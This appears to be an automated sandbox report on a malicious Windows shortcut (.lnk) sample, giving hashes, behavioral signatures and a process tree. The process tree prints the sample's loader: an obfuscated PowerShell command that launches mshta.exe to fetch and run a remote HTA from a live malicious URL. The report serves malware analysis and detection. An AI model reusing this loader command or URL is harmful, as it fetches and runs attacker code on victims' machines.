Analysis
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max time kernel
152s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
11/01/2024, 07:37
Static task
static1
Behavioral task
behavioral1
Sample
a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk
Resource
win10v2004-20231215-en
General
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Target
a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk
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Size
1KB
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MD5
a49746922bdba7a0885c55944ab705a5
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SHA1
6ec7db6e71ebfb091b7266b8ce2012ef3d2d714f
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SHA256
af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41
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SHA512
e17311145ca62f49e0ac1ecc34810a65f1b91cc57c45fe0d2f72494e8106ede54d258a2fd8c16f771eada18574854da8654b533dca7818183f154739849ecbf7
Malware Config
Extracted
http://24help.ooguy.com/1/1.hta
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 17 1516 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4508 powershell.exe 4508 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4508 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4248 wrote to memory of 4508 4248 cmd.exe 91 PID 4248 wrote to memory of 4508 4248 cmd.exe 91 PID 4508 wrote to memory of 1516 4508 powershell.exe 94 PID 4508 wrote to memory of 1516 4508 powershell.exe 94
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4248 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://24help.ooguy.com/1/1.hta'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4508 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" http://24help.ooguy.com/1/1.hta3⤵
- Blocklisted process makes network request
PID:1516
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82